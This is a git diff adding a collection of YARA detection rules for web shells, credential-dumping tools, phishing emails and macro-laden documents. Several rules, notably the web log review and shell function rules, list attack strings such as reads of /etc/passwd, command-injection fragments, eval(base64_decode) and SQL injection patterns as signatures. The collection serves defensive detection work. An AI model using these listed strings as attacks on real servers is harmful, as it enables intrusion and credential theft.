diff --git a/yara-mikesxrs/patrickrolsen/scanline_mcafee.yar b/yara-mikesxrs/patrickrolsen/scanline_mcafee.yar
new file mode 100644
index 0000000..62c5e00
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/scanline_mcafee.yar
@@ -0,0 +1,17 @@
+rule scanline_mcafee
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "http://www.mcafee.com/us/downloads/free-tools/scanline.aspx"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "CPports.txt"
+	$s2 = "ICMP Time"
+	$s3 = "Foundsto"
+	$s4 = "USER"
+	$s5 = {55 50 58 ??} // UPX?
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/seven_zip_cmdversion.yar b/yara-mikesxrs/patrickrolsen/seven_zip_cmdversion.yar
new file mode 100644
index 0000000..a4e81f4
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/seven_zip_cmdversion.yar
@@ -0,0 +1,15 @@
+rule seven_zip_cmdversion
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "http://www.7-zip.org/download.html"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "7za"
+	$s2 = "7-Zip"
+	$s3 = "Usage:"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/shell_functions.yar b/yara-mikesxrs/patrickrolsen/shell_functions.yar
new file mode 100644
index 0000000..0d637d5
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/shell_functions.yar
@@ -0,0 +1,20 @@
+rule shell_functions
+{
+meta:
+	author = "@patrickrolsen"
+	version = "0.1"
+	data = "08/19/2014"
+	reference = "N/A"
+strings:
+	$s1 = "function listDatabases()"
+	$s2 = "function dropDatabase()"
+	$s3 = "mysql_drop_db("
+	$s4 = "function listTables()"
+	$s5 = "passthru($cmd)"
+	$s6 = "function check_file()"
+	$s7 = "$id==\"fake-mail\""
+	$s8 = "Shell_Exec($cmd)"
+	$s9 = "move_uploaded_file("
+condition:
+	not uint16(0) == 0x5A4D and any of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/shell_names.yar b/yara-mikesxrs/patrickrolsen/shell_names.yar
new file mode 100644
index 0000000..225284b
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/shell_names.yar
@@ -0,0 +1,32 @@
+rule shell_names
+{
+meta:
+	author = "@patrickrolsen"
+	version = "0.3"
+	data = "08/19/2014"
+	reference = "N/A"
+strings:
+	$s1 = "faim.php"
+	$s2 = "css5.php"
+	$s3 = "groanea.php"
+	$s4 = "siler.php"
+	$s5 = "w.php" fullword
+	$s6 = "atom-conf.php"
+	$s7 = "405.php"
+	$s8 = "pack2.php"
+	$s9 = "r57shell.php"
+	$s10 = "shell.php" fullword
+	$s11 = "dra.php"
+	$s12 = "lol.php"
+	$s13 = "php-backdoor.php"
+	$s14 = "aspxspy.aspx"
+	$s15 = "c99.php"
+	$s16 = "c99shell.php"
+	$s17 = "fx29sh.php"
+	$s18 = "azrailphp.php"
+	$s19 = "CmdAsp.asp"
+	$s20 = "dingen.php"
+	$s21 = "entrika.php"
+condition:
+	not uint16(0) == 0x5A4D and any of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/sneakernet_trojan.yar b/yara-mikesxrs/patrickrolsen/sneakernet_trojan.yar
new file mode 100644
index 0000000..50ecc77
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/sneakernet_trojan.yar
@@ -0,0 +1,15 @@
+rule sneakernet_trojan
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Sneakernet Trojan"
+	version = "0.1"
+	reference = "http://www.fidelissecurity.com/webfm_send/375" 
+	date = "01/30/2014"
+strings:
+    $s1 = "Mtx_Sp_On_PC_1_2_8"
+    $s2 = "%s /c del %s"
+    $s3 = "RECYCLED"
+condition:
+    uint16(0) == 0x5A4D and (all of ($s*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/tran_duy_linh.yar b/yara-mikesxrs/patrickrolsen/tran_duy_linh.yar
new file mode 100644
index 0000000..031c9da
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/tran_duy_linh.yar
@@ -0,0 +1,15 @@
+rule tran_duy_linh
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Misc."
+	version = "0.2"
+	reference = "8fa804105b1e514e1998e543cd2ca4ea, 872876cfc9c1535cd2a5977568716ae1, etc." 
+	date = "01/03/2014"
+strings:
+	$doc = {D0 CF 11 E0} //DOCFILE0
+	$string1 = "Tran Duy Linh" fullword
+	$string2 = "DLC Corporation" fullword
+condition:
+    ($doc at 0) and (all of ($string*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/unknown_creds_dump.yar b/yara-mikesxrs/patrickrolsen/unknown_creds_dump.yar
new file mode 100644
index 0000000..204db96
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/unknown_creds_dump.yar
@@ -0,0 +1,16 @@
+rule unknown_creds_dump
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Misc. Creds Dump"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "OpenProcessToken:%d"
+	$s2 = "LookupPrivilegeValue:%d"
+	$s3 = "AdjustTokenPrivilege:%d"
+	$s4 = "\\GetPassword\\"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/web_log_review.yar b/yara-mikesxrs/patrickrolsen/web_log_review.yar
new file mode 100644
index 0000000..7e1b476
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/web_log_review.yar
@@ -0,0 +1,52 @@
+rule web_log_review
+{
+meta:
+	author = "@patrickrolsen"
+	version = "0.1"
+	reference = "http://blog.shadowserver.org/2013/05/06/breaking-the-kill-chain-with-log-analysis/"
+	date = "2013-12-14"
+strings:
+	$s =   "GET /.htaccess"
+	$s0 =  "GET /db/main.php"
+	$s3 =  "GET /dbadmin/main.php"
+	$s4 =  "GET /phpinfo.php"
+	$s5 =  "GET /password"
+	$s6 =  "GET /passwd"
+	$s7 =  "GET /phpmyadmin2"
+	$s10 = "GET /response.write"
+	$s11 = "GET /&dir"
+	$s13 = "GET /.htpasswd"
+	$s14 = "GET /htaccess.bak"
+	$s15 = "GET /htaccess.txt"
+	$s16 = "GET /.bash_history"
+	$s17 = "GET /_sqladm"
+	$s18 = "'$IFS/etc/privpasswd;'"
+	$s19 = ";cat /tmp/config/usr.ini"
+	$s21 = "eval(base64_decode"
+	$s23 = "eval(gzinflate"
+	$s25 = "%5Bcmd%5D"
+	$s26 = "[cmd]"
+	$s27 = "union+select" nocase
+	$s28 = "UNION%20SELECT" nocase
+	$s29 = "(str_rot13"
+	$s30 = "GET /private.key"
+	$s31 = "GET /database.inc"
+	$s32 = "GET /webstats.html"
+	$s33 = "GET /schema.sql"
+	$s34 = "GET /customers"
+	$s35 = "GET /images/passwords.mdb"
+	$s36 = "GET /web-console"
+	$s37 = "GET /phpmyadmin/main.php"
+	$s38 = "GET /mysql/main.php"
+	$s39 = "GET /memberlist"
+	$s40 = "GET /logs"
+	$s41 = "GET /%26cat%20%2fetc%2fpasswd"
+	$s42 = "GET /New%20folder%20(2)"
+	$s43 = "GET /response.write(9674459*9948960)"
+	$s44 = "GET /index.php?"
+	$s45 = "concat(user_login"
+	$s46 = "),user_pass)"
+	$s47 = "sqlmap"
+condition:
+	any of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/web_shell_crews.yar b/yara-mikesxrs/patrickrolsen/web_shell_crews.yar
new file mode 100644
index 0000000..59c0f89
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/web_shell_crews.yar
@@ -0,0 +1,129 @@
+rule web_shell_crews
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Web Shell Crews"
+	version = "0.6"
+	reference = "http://www.exploit-db.com/exploits/24905/"
+	date = "08/19/2014"
+strings:
+	$s1 = "v0pCr3w"
+	$s2 = "BENJOLSHELL"
+	$s3 = "EgY_SpIdEr"
+	$s4 = "<title>HcJ"
+	$s5 = "0wn3d"
+	$s6 = "OnLy FoR QbH"
+	$s7 = "wSiLm"
+	$s8 = "b374k r3c0d3d"
+	$s9 = "x'1n73ct|d"
+	$s10 = "## CREATED BY KATE ##"
+	$s11 = "Ikram Ali"
+	$s12 = "FeeLCoMz"
+	$s13 = "s3n4t00r"
+	$s14 = "FaTaLisTiCz_Fx"
+	$s15 = "feelscanz.pl"
+	$s16 = "##[ KONFIGURASI"
+	$s17 = "Created by Kiss_Me"
+	$s18 = "Casper_Cell"
+	$s19 = "# [ CREWET ] #"
+	$s20 = "BY MACKER"
+	$s21 = "FraNGky"
+	$s22 = "1dt.w0lf"
+	$s23 = "Modification By iFX"
+	$s24 = "Dumped by C99madShell.SQL"
+	$s25 = "Hacked By Alaa"
+	$s26 = "XXx_Death_xXX"
+	$s27 = "zehir3"
+	$s28 = "zehirhacker"
+	$s29 = "Shell Tcrew"
+	$s30 = "w4ck1ng"
+	$s31 = "TriCkz"
+	$s32 = "TambukCrew"
+	$s33 = "Dumped by c100.SQL"
+	$s34 = "Hacker By Task QQ"
+	$s35 = "JyHackTeam"
+	$s36 = "byMesaj"
+	$s37 = "by STHx"
+	$s38 = "hacker!@#"
+	$s39 = "Fucked by 7sign"
+	$s40 = "Hacked By:NsQk"
+	$s41 = "Ch1na HLD Secur1ty Team"
+	$s42 = "hackxsy.net"
+	$s43 = "[Black Tie]"
+	$s44 = "[ Black Tie ]"
+	$s45 = "X4ck By Death"
+	$s46 = "Recoded bY 0x14113"
+	$s47 = "0x14113_Server Shell"
+	$s48 = "BY 0x14113"
+	$s49 = "[ 0x14113 ASP Shell ]"
+	$s50 = "ASP Shell"
+	$s51 = "Hacked by @iSecGroup"
+	$s52 = "@iSecGroup"
+	$s53 = "Lulzsecroot"
+	$s54 = "KingDefacer"
+	$s55 = "Turkish H4CK3RZ"
+	$s56 = "by q1w2e3r4"
+	$s57 = "By Ironfist"
+	$s58 = "AK-74 Security"
+	$s59 = "ak74-team.net"
+	$s60 = "ANTICHAT.RU" nocase
+	$s61 = "ADMINSTRATORS TOOLKIT"
+	$s62 = "ASPSpyder"
+	$s63 = "Shell v 2.1 Biz"
+	$s64 = "Ayyildiz Tim"
+	$s65 = "b374k"
+	$s66 = "Cool Surfer"
+	$s67 = "vINT 21h"
+	$s68 = "c0derz shell"
+	$s69 = "Emperor Hacking TEAM"
+	$s70 = "Comandos Exclusivos"
+	$s71 = "Gamma Group"
+	$s72 = "GFS Web-Shell"
+	$s73 = "Group Freedom Search"
+	$s74 = "h4ntu shell"
+	$s75 = "powered by tsoi"
+	$s76 = "SaNaLTeRoR"
+	$s77 = "inDEXER"
+	$s78 = "ReaDer"
+	$s79 = "JspWebshell"
+	$s80 = "zero.cnbct.org"
+	$s81 = "Aventis KlasVayv"
+	$s82 = "KlasVayv" nocase
+	$s825 = "Kodlama by BLaSTER"
+	$s83 = "TurkGuvenligi"
+	$s84 = "BLaSTER"
+	$s85 = "lama's'hell"
+	$s86 = "Liz0ziM"
+	$s87 = "Loader'z WEB Shell"
+	$s88 = "Loader Pro-Hack.ru"
+	$s89 = "D3vilc0de"
+	$s90 = "lostDC shell"
+	$s91 = "MAX666"
+	$s92 = "Hacked by Silver"
+	$s93 = ".:NCC:."
+	$s94 = "National Cracker Crew"
+	$s95 = "n-c-c.6x.to"
+	$s96 = "Cr4sh_aka_RKL"
+	$s97 = "PHANTASMA"
+	$s98 = "NeW CmD"
+	$s99 = "z0mbie"
+	$s100 = "phpRemoteView"
+	$s101 = "php.spb.ru"
+	$s102 = "Mehdi"
+	$s103 = "HolyDemon"
+	$s104 = "infilak"
+	$s105 = "Rootshell"
+	$s106 = "Emperor"
+	$s107 = "Iranian Hackers"
+	$s108 = "G-Security"
+	$s109 = "by DK"
+	$s110 = "Simorgh"
+	$s111 = "SimShell"
+	$s112 = "AventGrup"
+	$s113 = "Sincap"
+	$s114 = "zyklon"
+	$s115 = "lovealihack"
+	$s116 = "alihack"
+condition:
+	not uint16(0) == 0x5A4D and any of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/windows_credentials_editor.yar b/yara-mikesxrs/patrickrolsen/windows_credentials_editor.yar
new file mode 100644
index 0000000..3d12aa3
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/windows_credentials_editor.yar
@@ -0,0 +1,16 @@
+rule windows_credentials_editor
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "http://www.ampliasecurity.com/research/wce12_uba_ampliasecurity_eng.pdf"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "NTLMCredentials"
+	$s2 = "%d kerberos"
+	$s3 = "WCE" nocase
+	$s4 = "LSASS.EXE" nocase
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/winrar_4xx.yar b/yara-mikesxrs/patrickrolsen/winrar_4xx.yar
new file mode 100644
index 0000000..c9e7665
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/winrar_4xx.yar
@@ -0,0 +1,14 @@
+rule winrar_4xx
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "WinRar 4.11 CMD line version"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "\\WinRAR\\rar\\"
+	$s2 = "WinRAR"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
diff --git a/yara-mikesxrs/patrickrolsen/wp_shell.yar b/yara-mikesxrs/patrickrolsen/wp_shell.yar
new file mode 100644
index 0000000..0b3386d
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/wp_shell.yar
@@ -0,0 +1,20 @@
+rule wp_shell_crew
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "http://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/29/2014"
+strings:
+	$mz = { 4d 5a } // MZ
+	$s1 = "IsWow64Process"
+	$s2 = "svchost.exe -k netsvcs"
+	$s3 = "Services\\%s\\Parameters"
+	$s4 = "%s %s %s"
+	$s5 = "-%s-%03d"
+	$s6 = "127.0.0.1"
+	$s7 = "\\temp\\" fullword
+condition:
+	($mz at 0) and (all of ($s*))
+}
diff --git a/yara-mikesxrs/patrickrolsen/zend_framework.yar b/yara-mikesxrs/patrickrolsen/zend_framework.yar
new file mode 100644
index 0000000..6b45d58
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/zend_framework.yar
@@ -0,0 +1,13 @@
+rule zend_framework
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Zend Framework"
+	version = "0.3"
+	date = "12/29/2013"
+strings:
+	$php = "<?php"
+	$s = "$zend_framework" nocase
+condition:
+	not uint16(0) == 0x5A4D and $php and $s
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phbiohazard/APT20140414_1NT.yar b/yara-mikesxrs/phbiohazard/APT20140414_1NT.yar
new file mode 100644
index 0000000..57934b7
--- /dev/null
+++ b/yara-mikesxrs/phbiohazard/APT20140414_1NT.yar
@@ -0,0 +1,13 @@
+rule APT20140414_1NT
+{
+	meta:
+		author = "phbiohazard"
+		reference = "https://github.com/phbiohazard/Yara"
+	strings:
+		$dpi1 = {47 45 54 20 2f}
+		$dpi2 = {2F 74 61 73 6B 73 3F 76 65 72 73 69 6F 6E 3D}
+		$dpi3 = {26 67 72 6F 75 70 3D}
+		$dpi4 = {26 63 6C 69 65 6E 74 3D}
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phbiohazard/APT20140414_1PE.yar b/yara-mikesxrs/phbiohazard/APT20140414_1PE.yar
new file mode 100644
index 0000000..6ddbc06
--- /dev/null
+++ b/yara-mikesxrs/phbiohazard/APT20140414_1PE.yar
@@ -0,0 +1,20 @@
+import "pe"
+
+rule APT20140414_1PE
+{
+meta:
+    author = "phbiohazard"
+    reference = "https://github.com/phbiohazard/Yara"
+
+strings:
+    $genep1 = {04 01 68 9b 1a 40 00 6a 01 6a 00 6a 00 ff 15 0c}
+    $genep2 = {e9 3d 87 f8 ff bb d6 fb 04 8a 10 5c d2 70 d9 cb}
+    $genep3 = {57 56 8b f0 e8 70 fd ff ff 5e e8 6e 01 00 00 5f}
+    $contep1 = {e9 02 47 83 c6 02 89 f2 83 f9 00}
+    $contep2 = {e5 44 75 c1 8b 36 0c 44 4d c9 31 8b 8a d7 88 d8}
+    $contep3 = {9c d1 d4 52 7b c5 99 29 1c d7 46 c5 f9 8c f8 e2}
+    $contep4 = {e8 ef e4 bb 00 5d c3}
+condition:
+    $genep1 and $contep1 and $contep2 or ($genep2 at pe.entry_point and ($contep3 in (pe.entry_point..pe.entry_point + 65))) or ($genep3 at pe.entry_point and ($contep4 in (pe.entry_point..pe.entry_point + 26)))
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phbiohazard/ID2015032010000026.yar b/yara-mikesxrs/phbiohazard/ID2015032010000026.yar
new file mode 100644
index 0000000..228d62f
--- /dev/null
+++ b/yara-mikesxrs/phbiohazard/ID2015032010000026.yar
@@ -0,0 +1,15 @@
+rule ID2015032010000026
+{
+meta:
+author = "mbl"
+info = "IOC detection - Version 1.0"
+reference = "https://github.com/phbiohazard/Yara"
+	strings:
+		$genep1 = {4D 5A 90 00 03 00}	
+		$contep1 = {4D D0 FF EB 22 C7 85 78 FF FF FF 1C 00 00 00 EB}
+		$contep2 = {2F 77 77 77 2E 74 68 61 77 74 65 2E 63 6F 6D 2F}
+
+	condition:
+		$genep1 and ($contep1 in (0x5d90..0x5d9f) and $contep2 in (0x27e70..0x27e7f))
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phbiohazard/phbiohazard_index.yara b/yara-mikesxrs/phbiohazard/phbiohazard_index.yara
new file mode 100644
index 0000000..d9760fc
--- /dev/null
+++ b/yara-mikesxrs/phbiohazard/phbiohazard_index.yara
@@ -0,0 +1,50 @@
+import "pe"
+
+rule APT20140414_1NT
+{
+	meta:
+		author = "phbiohazard"
+		reference = "https://github.com/phbiohazard/Yara"
+	strings:
+		$dpi1 = {47 45 54 20 2f}
+		$dpi2 = {2F 74 61 73 6B 73 3F 76 65 72 73 69 6F 6E 3D}
+		$dpi3 = {26 67 72 6F 75 70 3D}
+		$dpi4 = {26 63 6C 69 65 6E 74 3D}
+	condition:
+		all of them
+}
+
+rule APT20140414_1PE
+{
+meta:
+	author = "phbiohazard"
+	reference = "https://github.com/phbiohazard/Yara"
+
+strings:
+    $genep1 = {04 01 68 9b 1a 40 00 6a 01 6a 00 6a 00 ff 15 0c}
+    $genep2 = {e9 3d 87 f8 ff bb d6 fb 04 8a 10 5c d2 70 d9 cb}
+    $genep3 = {57 56 8b f0 e8 70 fd ff ff 5e e8 6e 01 00 00 5f}
+    $contep1 = {e9 02 47 83 c6 02 89 f2 83 f9 00}
+    $contep2 = {e5 44 75 c1 8b 36 0c 44 4d c9 31 8b 8a d7 88 d8}
+    $contep3 = {9c d1 d4 52 7b c5 99 29 1c d7 46 c5 f9 8c f8 e2}
+    $contep4 = {e8 ef e4 bb 00 5d c3}
+condition:
+    $genep1 and $contep1 and $contep2 or ($genep2 at pe.entry_point and ($contep3 in (pe.entry_point..pe.entry_point + 65))) or ($genep3 at pe.entry_point and ($contep4 in (pe.entry_point..pe.entry_point + 26)))
+
+}
+
+rule ID2015032010000026
+{
+meta:
+author = "mbl"
+info = "IOC detection - Version 1.0"
+reference = "https://github.com/phbiohazard/Yara"
+	strings:
+		$genep1 = {4D 5A 90 00 03 00}	
+		$contep1 = {4D D0 FF EB 22 C7 85 78 FF FF FF 1C 00 00 00 EB}
+		$contep2 = {2F 77 77 77 2E 74 68 61 77 74 65 2E 63 6F 6D 2F}
+
+	condition:
+		$genep1 and ($contep1 in (0x5d90..0x5d9f) and $contep2 in (0x27e70..0x27e7f))
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phish me/Cryptowall_docx_macro.yar b/yara-mikesxrs/phish me/Cryptowall_docx_macro.yar
new file mode 100644
index 0000000..f62efa8
--- /dev/null
+++ b/yara-mikesxrs/phish me/Cryptowall_docx_macro.yar	
@@ -0,0 +1,18 @@
+/*
+  Description: None
+  Priority: 5
+  Scope: Against Attachment
+  Tags: None
+  URL:http://phishme.com/using-yara-to-break-cryptowall-phishing/
+  Created in PhishMe's Triage on September 14, 2015 2:35 PM
+*/
+
+rule docx_macro
+{
+  strings:
+    $header="PK" 
+    $vbaStrings="word/vbaProject.bin" nocase
+
+  condition:
+    $header at 0 and $vbaStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phish me/PM_Dyre_Delivery _ dyre cryptowall crimeware.yar b/yara-mikesxrs/phish me/PM_Dyre_Delivery _ dyre cryptowall crimeware.yar
new file mode 100644
index 0000000..8c8542c
--- /dev/null
+++ b/yara-mikesxrs/phish me/PM_Dyre_Delivery _ dyre cryptowall crimeware.yar	
@@ -0,0 +1,23 @@
+rule PM_Dyre_Delivery : dyre cryptowall crimeware
+{
+meta:
+	author="R.Tokazowski"
+	company="PhishMe, Inc."
+	URL="http://phishme.com/two-attacks-two-dyres-infrastructure/"
+
+strings:
+	$domain1 = "goo.gl" nocase
+	$domain2 = "cubby.com" nocase
+	$domain3 = "dropbox.com" nocase
+
+	$subject1 = "fax message" nocase
+	$subject2 = "new fax" nocase
+	$subject3 = "fax report" nocase
+
+	$constant = "Resolution: 400x400 DPI" nocase
+
+condition:
+
+	(1 of ($domain*) and 1 of ($subject*)) or ($constant)
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phish me/PM_Dyre_Delivery _ dyre cryptowall crimeware2.yar b/yara-mikesxrs/phish me/PM_Dyre_Delivery _ dyre cryptowall crimeware2.yar
new file mode 100644
index 0000000..64bf3c5
--- /dev/null
+++ b/yara-mikesxrs/phish me/PM_Dyre_Delivery _ dyre cryptowall crimeware2.yar	
@@ -0,0 +1,36 @@
+rule PM_Dyre_Delivery1 : dyre cryptowall crimeware
+{
+meta:
+    author="R.Tokazowski"
+    company="PhishMe, Inc."
+    URL="http://phishme.com/dyre-attackers-shift-tactics/"
+
+strings:
+    $domain1 = "goo.gl" nocase
+    $domain2 = "cubby.com" nocase
+    $domain3 = "dropbox.com" nocase
+        $php = ".php" nocase
+
+    $subject1 = "fax" nocase
+    $subject2 = "message" nocase
+        $subject3 = "voice" nocase
+
+    $constant = "Resolution: 400x400 DPI" nocase
+
+        $eh1 = "(EHLO fax-voice.com)"
+        $eh2 = "(EHLO voiceservice.com)"
+        $eh3 = "(EHLO MyFax.com)"
+
+       $anchor = "EHLO"
+
+condition:
+
+    (1 of ($domain*) and 1 of ($subject*)) or 
+        ($constant and 1 of ($domain*)) or 
+        (all of ($subject*) and $php) or
+        (2 of ($subject*) and $php) or
+        any of ($eh*) or
+        ($subject1 in (@anchor..@anchor+20)) or
+        ($subject3 in (@anchor..@anchor+20))
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phish me/PM_Dyre_Voice_Message.yar b/yara-mikesxrs/phish me/PM_Dyre_Voice_Message.yar
new file mode 100644
index 0000000..86a8a2f
--- /dev/null
+++ b/yara-mikesxrs/phish me/PM_Dyre_Voice_Message.yar	
@@ -0,0 +1,16 @@
+rule PM_Dyre_Voice_Message
+{
+meta:
+	author="R.Tokazowski"
+	company="PhishMe, Inc."
+	URL="http://phishme.com/two-attacks-two-dyres-infrastructure/"
+
+
+strings:
+	$s1 = "voice message" nocase
+	$s2 = "voice redirected message" nocase
+	$s3 = "sent: " nocase
+
+condition:
+	2 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phish me/PM_Zip_With_Exe.yar b/yara-mikesxrs/phish me/PM_Zip_With_Exe.yar
new file mode 100644
index 0000000..d1ea25b
--- /dev/null
+++ b/yara-mikesxrs/phish me/PM_Zip_With_Exe.yar	
@@ -0,0 +1,17 @@
+rule PM_Zip_With_Exe
+{
+meta:
+	author="R.Tokazowski"
+	company="PhishMe, Inc."
+	URL="http://phishme.com/two-attacks-two-dyres-infrastructure/"
+	
+strings:
+	$hdr = "PK"
+	
+	$e1 = ".exe" nocase
+	$e2 = ".scr" nocase
+
+	
+condition:
+	$hdr at 0 and (($e1 in (filesize-100..filesize)) or ($e2 in (filesize-100..filesize)))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phish me/PM_docx_with_vba_bin.yar b/yara-mikesxrs/phish me/PM_docx_with_vba_bin.yar
new file mode 100644
index 0000000..07b9a55
--- /dev/null
+++ b/yara-mikesxrs/phish me/PM_docx_with_vba_bin.yar	
@@ -0,0 +1,14 @@
+rule PM_docx_with_vba_bin
+{
+meta:
+    author="R.Tokazowski"
+    company="PhishMe, Inc."
+    URL="http://phishme.com/ms-word-macros-now-social-engineering-malware"
+
+strings:
+	$a1 = "PK"
+	$a2 = "word/_rels/vbaProject.bin"
+	
+condition:
+	$a1 at 0 and $a2
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phish me/PM_outlook_setting_pdf_exe.yar b/yara-mikesxrs/phish me/PM_outlook_setting_pdf_exe.yar
new file mode 100644
index 0000000..9578d66
--- /dev/null
+++ b/yara-mikesxrs/phish me/PM_outlook_setting_pdf_exe.yar	
@@ -0,0 +1,16 @@
+rule PM_outlook_setting_pdf_exe
+
+{
+meta:
+	author="R.Tokazowski"
+	company="PhishMe, Inc."
+	URL="http://phishme.com/evolution-upatre-dyre/"
+
+strings:
+	$a1 = "PK"
+	$a2 = "outlook_setting_pdf.exe"
+
+condition:
+	$a1 at 0 and $a2
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phish me/PPS_With_OLEObject.yar b/yara-mikesxrs/phish me/PPS_With_OLEObject.yar
new file mode 100644
index 0000000..a57a023
--- /dev/null
+++ b/yara-mikesxrs/phish me/PPS_With_OLEObject.yar	
@@ -0,0 +1,16 @@
+//invalid hex string at $rttype1
+rule PPS_With_OLEObject
+{
+  meta: 
+    description = "PowerPoint Archives with embedded OLE indicators."
+    author = "PhishMe"
+  strings:
+    $magic={d0 cf 11 e0} 
+    $stream1="PowerPoint Document" wide
+    $stream2="Current User" wide
+    $rttype1={0f 00 cc 0f /*[4]*/ } 
+    $rttype2={00 00 cd 0f 08 00 00 00 [4] (00|01) (00|01) /*[2]*/} 
+    $rttype3={01 00 c3 0f 18 00 00 00 [4] (00|01|02) [7] 00 00 00 00  /*[4]*/} 
+  condition:
+    $magic at 0 and all of ($stream*)  and all of ($rttype*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/phish me/PhishMe_index.yara b/yara-mikesxrs/phish me/PhishMe_index.yara
new file mode 100644
index 0000000..7101eb8
--- /dev/null
+++ b/yara-mikesxrs/phish me/PhishMe_index.yara	
@@ -0,0 +1,320 @@
+/*
+  Description: Rule looking for Russian meta content tags
+  Author: iHeartMalware
+  Priority: 3
+  Scope: Against Email
+  Tags: 
+  Created in PhishMe Triage on March 11, 2016 3:04 PM
+*/
+
+rule criakl_russian_meta_content
+{
+strings:
+  $h1="<meta content=\"ru\"" nocase
+condition:
+  all of them
+}
+
+/*
+  Description: None
+  Priority: 5
+  Scope: Against Attachment
+  Tags: None
+  URL:http://phishme.com/using-yara-to-break-cryptowall-phishing/
+  Created in PhishMe's Triage on September 14, 2015 2:35 PM
+*/
+
+rule docx_macro
+{
+  strings:
+    $header="PK" 
+    $vbaStrings="word/vbaProject.bin" nocase
+
+  condition:
+    $header at 0 and $vbaStrings
+}
+
+
+/*
+  Description: None
+  Priority: 5
+  Scope: Against Email
+  Tags: None
+  URL:http://phishme.com/using-yara-to-break-cryptowall-phishing/
+  Created in PhishMe's Triage on September 14, 2015 2:33 PM
+*/
+
+rule CryptoWall_Resume_phish
+{
+  strings:
+    $hello2="my name is " nocase
+    $file1="resume attached" nocase
+    $file2="my resume is pdf file" nocase
+    $file3="attached is my resume" nocase
+    $sal1="I would appreciate your " nocase
+    $sal2="I am looking forward to hearing from you" nocase
+    $sal3="I look forward to your reply" nocase
+    $sal4="Please message me back" nocase
+    $sal5="our early reply will be appreciated" nocase
+    $file4="attach is my resume" nocase
+    $file5="PDF file is my resume" nocase
+    $sal6="Looking forward to see your response" nocase
+
+  condition:
+    1 of ($hello*) and 1 of ($file*) and 1 of ($sal*)
+}
+
+/*
+  Description: This rule keys on email headers that may have been sent from a malicious PHP script on a compromised webserver.
+  Priority: 4
+  Scope: Against Email
+  Tags: None
+  Author: P.Burbage
+  Created in PhishMe's Triage on September 1, 2015 1:43 PM
+*/
+
+rule PM_Email_Sent_By_PHP_Script
+{
+  strings:
+    $php1="X-PHP-Script" fullword
+    $php2="X-PHP-Originating-Script" fullword
+    $php3="/usr/bin/php" fullword
+
+  condition:
+    any of them
+}
+
+rule PM_docx_with_vba_bin
+{
+meta:
+    author="R.Tokazowski"
+    company="PhishMe, Inc."
+    URL="http://phishme.com/ms-word-macros-now-social-engineering-malware"
+
+strings:
+	$a1 = "PK"
+	$a2 = "word/_rels/vbaProject.bin"
+	
+condition:
+	$a1 at 0 and $a2
+}
+
+rule PM_Dyre_Delivery : dyre cryptowall crimeware
+{
+meta:
+	author="R.Tokazowski"
+	company="PhishMe, Inc."
+	URL="http://phishme.com/two-attacks-two-dyres-infrastructure/"
+
+strings:
+	$domain1 = "goo.gl" nocase
+	$domain2 = "cubby.com" nocase
